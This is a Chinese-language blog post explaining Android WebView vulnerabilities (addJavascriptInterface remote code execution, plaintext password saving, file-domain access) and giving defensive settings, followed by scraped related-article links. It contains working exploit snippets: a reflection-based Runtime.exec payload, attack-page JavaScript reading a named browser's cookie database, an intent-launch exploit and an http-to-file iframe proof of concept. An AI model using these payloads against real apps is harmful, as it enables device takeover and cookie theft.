android安全开发之webview中的地雷

author author     2022-08-01     680

关键词:

0X01 About WebView

 

在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等。WebView功能强大,应用广泛,但它是天使与恶魔的合体,一方面它增强了APP的上网体验,让APP功能更多样化,另一方面它也引入了很多的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等,这些安全问题可以直接导致用户敏感信息泄露,移动终端被恶意攻击者控制。下文将详细介绍这一系列安全问题,罗列相关的一些案列,并提供相应安全开发建议。

 

0X02 WebView任意代码执行漏洞

 

已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引起远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterface API引起的远程代码执行漏洞。之后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用,实现远程任意代码。再后来是CVE-2014-7224,类似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口,可被利用实现远程任意代码执行。

后文我们将围绕下面这段常见的示例代码展开:

WebView mWebView = (WebView)findViewById(R.id.webView); 
①WebSettings msetting = mWebView.getSettings(); 
②msetting.setJavaScriptEnabled(true); 
③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs"); 
④mWebView.loadUrl(getIntent().getStringExtra("url"));

 

CVE-2012-6636

Android系统为了方便APP中Java代码和网页中的Javascript脚本交互,在WebView控件中实现了addJavascriptInterface接口,对应示例代码中的③,网页中的JS脚本可以利用接口“myjs”调用App中的Java代码,而Java对象继承关系会导致很多Public的函数及getClass函数都可以在JS中被访问,结合Java的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行。漏洞在2013年8月被披露后,很多APP都中招,其中浏览器APP成为重灾区。但截至目前任有很多APP中依然存在此漏洞,与以往不同的只是攻击入口发生了一定的变化。另外我们也发现一些小厂商的APP开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用addjs接口,明目张胆踩雷。

出于安全考虑,Google在API 17中规定允许被调用的函数必须以@JavascriptInterface进行注解,理论上如果APP依赖的API为17或者以上,就不会受该问题的影响。但部分机型上,API 17依然受影响,并且如果APP存在此漏洞,且targetsdk小于17,那漏洞的影响可以覆盖到android4.4的终端,如果大于等于17,只能在android4.2的机型上触发,所以前一种情况的危害目前来看依旧很大。

 

CVE-2014-1939

在2014年发现在Android4.4以下的系统中,webkit中默认内置了“searchBoxJavaBridge_”, 代码位于“java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁。

 

CVE-2014-7224

在2014年,研究人员Daoyuan Wu和Rocky Chang发现,当系统辅助功能服务被开启时,在Android4.4以下的系统中,由系统提供的WebView组件都默认导出"accessibility" 和"accessibilityTraversal"这两个接口,代码位于“android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁。

 

常见挂马页面

function addJsHack(cmdArgs){
    for (var obj in window)
    { try {
            if ("getClass" in window[obj]) {
                try{
                    window[obj].getClass().forName("java.lang.Runtime").
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;
                }catch(e){
                }  
            }
        } catch(e) {
        }
    }
}
addJsHack()

 

 

扫码攻击

图片来自于某漏洞收集平台,通过二维码扫描触发WebView任意代码执行漏洞:


以聚美优品为例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相关代码位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:

public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) {

    ......

    this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);

}

 

0X03 WebView密码明文存储漏洞

 

WebView默认开启密码保存功能mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db

 

 

0X04 WebView域控制不严格漏洞

 

setAllowFileAccess

Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。

 

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。

 

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。

 

360手机浏览器缺陷可导致用户敏感数据泄漏

以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:

function getDatabase() {  

    var request = false;

    if(window.XMLHttpRequest) {

     request = new XMLHttpRequest();

      if(request.overrideMimeType) {

           request.overrideMimeType(‘text/xml‘);

       }

    }

    xmlhttp = request;

    var prefix = "file:////data/data/com.qihoo.browser/databases";

    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

    var path = prefix.concat(postfix);

    // 获取本地文件代码

    xmlhttp.open("GET", path, false);

    xmlhttp.send(null);

    var ret = xmlhttp.responseText;

    return ret;

}

 

漏洞利用代码:

copyFile(); //自定义函数,释放filehehe.html到sd卡上

String url = "file:///mnt/sdcard/filehehe.html";

Intent contIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intent intent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

 

0X05 WebView file跨域漏洞

 

Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示:

<iframe name=f src="www.baidu.com" ></iframe>

<script>

    function init(){

        f.location = "file:///default.prop";

    }

    setTimeout(init,5000)

</script>

在浏览器中打开服务器上的filereach.html,将从http域跳转到file域

 

0X06安全开发建议

 

1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位;

2)建议开发者通过以下方式移除该JavaScript接口:
  removeJavascriptInterface("searchBoxJavaBridge_")

  removeJavascriptInterface("accessibility");

  removeJavascriptInterface("accessibilityTraversal")

3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解

4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能

5)通过以下设置,防止越权访问,跨域等安全问题: 

  setAllowFileAccess(false)

  setAllowFileAccessFromFileURLs(false)

  setAllowUniversalAccessFromFileURLs(false)

 

0X07参考信息

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

 

更多:腾讯御安全技术博客

本文出自 “11632030” 博客,请务必保留此出处http://11642030.blog.51cto.com/11632030/1844024

android开发基础之控件webview(代码片段)

    WebView可以实现如下功能:加载本地assets文件夹下的html文件wedview.loadUrl(“file:///android_asset/test.html”);加载网络URLwebview.loadUrl(“http://m.baidu.com”);直接加载HTML代码方法一:webview.loadData();方法二:webvi 查看详情

android开发之webview(一)配置&小技巧

...用人力webview是一个基于webkit引擎,展示web页面的控件。Android上的webview在低版本和高版本采用了不同的webkit版本内核,Android4.4(19)后直接使用了Chrome内核;WebView控件功能强大,除了具有一般View的属性和设置外,还可以对url请... 查看详情

在 android WebView 中读取安全 cookie

】在androidWebView中读取安全cookie【英文标题】:ReadingsecurecookiesinandroidWebView【发布时间】:2015-07-3009:30:06【问题描述】:我正在开发一个androidweb应用程序,并且基于是否存在安全cookie,我想做一些事情。不幸的是,当我使用以下... 查看详情

library之目录

 组件之fragment:Androidviewpager结合fragment的相关优化; 组件之webview:WebView的使用及实战(cookie同步和cookie清除);Android开发使用WebView实战技巧(cookie同步);Android利用post方式给webview传递json参数;  时间之倒计时:安... 查看详情

android混合开发之webviewjavascriptbridge实现js与java安全交互

...开发,这里难免会用到Js与Java函数互相调用的问题,这个Android是提供了原生支持的,不过存在安全隐患,今天我们来学习一种安全方式来满足Js与java互相调用的需求。它就是WebViewJavascriptBridge。学习动机:  先看下之前的... 查看详情

WebView中的支付流程(Android)

】WebView中的支付流程(Android)【英文标题】:PaymentprocessinWebView(Android)【发布时间】:2015-09-2107:51:48【问题描述】:我有一个支付网关的网址(我需要在其中输入信用卡号等)。我可以使用WebView打开此页面并直接在我的应用程序... 查看详情

Android 开发:在 WebView 的 HTML 中使用资产中的图像

】Android开发:在WebView的HTML中使用资产中的图像【英文标题】:AndroidDevelopment:UsingImageFromAssetsInAWebView\'sHTML【发布时间】:2011-04-1608:08:52【问题描述】:在我的应用程序中,我正在制作一个基本的HTML帮助文档。我希望我的应用程... 查看详情

android之webview显示h5执行选择图片或者拍照功能

开发工具是androidstudioSDK版本是4.3实现过程基本是这样h5中调用手机选择文件图片的代码是:<inputaccept="image/*"capture="camera"id="imgFile"name="imgFile"type="file"> 然后给webView设置WebChromeClientWebChromeClient主要处理解析,渲染网页等浏... 查看详情

Android 的 WebView 中的 shouldOverrideUrlLoading 未运行

】Android的WebView中的shouldOverrideUrlLoading未运行【英文标题】:shouldOverrideUrlLoadinginWebViewforAndroidnotrunning【发布时间】:2011-10-0723:24:41【问题描述】:-编辑:找到解决方案-经过一番繁重的搜索后弄清楚了-一个人(我的意思是一个... 查看详情

Android webview 中的地理定位

】Androidwebview中的地理定位【英文标题】:geolocationinwebviewforAndroid【发布时间】:2011-01-2715:17:39【问题描述】:我开发了一个Web应用程序并尝试使用webview。一切正常,除了地理位置(在网络中完美运行)有人有带有地理位置的web... 查看详情

跨端开发面面谈之基于webview的hybrid开发模式

...结的一个主题,作为这一系列的开始,首先简单说说基于WebView的Hybrid混合开发模式。有过混合应用开发经验的同学,对基于WebView的Hybrid开发模式应该不会陌生。借助于原生端各平台的WebView组件,可以实现Native和JavaScript的双向... 查看详情

WebView Android Studio 中的文件上传

】WebViewAndroidStudio中的文件上传【英文标题】:FileUploadinWebViewAndroidStudio【发布时间】:2018-01-1802:39:46【问题描述】:我想允许来自我的WebViewAndroid应用程序的上传按钮。由于我不是Android开发人员,因此我需要您的帮助才能为Andro... 查看详情

Android WebView 中的 VueJS (Xamarin)

】AndroidWebView中的VueJS(Xamarin)【英文标题】:VueJSinAndroidWebView(Xamarin)【发布时间】:2020-02-2208:07:42【问题描述】:我正在尝试将使用VueJS开发的小型混合C#/单页应用程序捆绑为android应用程序。我们有一些类,它们创建和图像并将... 查看详情

android总结之webview使用总结

前言:   今天修改项目中一个有关WebView使用的bug,激起了我总结WebView的动机,今天抽空做个总结。使用场景: 1.)添加权限<uses-permissionandroid:name="android.permission.INTERNET"/> 2.)布局文件&l 查看详情

如何加载图像 url 以适合我在 android 中的 webview?

】如何加载图像url以适合我在android中的webview?【英文标题】:Howcaniloadimageurltofitmywebviewinandroid?【发布时间】:2012-11-1019:16:10【问题描述】:我正在开发一个android应用程序。这里我在webview中显示一个url图像。但是该图像不适合... 查看详情

androidwebview在开发过程中都有哪些坑

...统类的函数,进而可以进行任意代码执行。参考技术A自Android4.4起,引入了webView,使用需要注意的事项:1.多线程如果你在子线程中调用WebView的相关方法,而不在UI线程,则可能会出现无法预料的错误。所以,当你的程序中需要... 查看详情

WebView在android中加载缓慢?

】WebView在android中加载缓慢?【英文标题】:WebViewLoadsslowlyinandroid?【发布时间】:2012-09-2605:53:46【问题描述】:我正在开发应用程序中的webView,其中webview加载的内容在按下按钮时会发生变化(两个按钮next和previous,它们只是更... 查看详情

带有内容安全策略的recaptcha中的Webview iOS问题

】带有内容安全策略的recaptcha中的WebviewiOS问题【英文标题】:WebviewiOSprobleminrecaptchawithContentSecurityPolicy【发布时间】:2021-07-1517:11:11【问题描述】:我最近在iOS上做了一个webview,我遇到了以下问题Contant安全策略指令“script-src”... 查看详情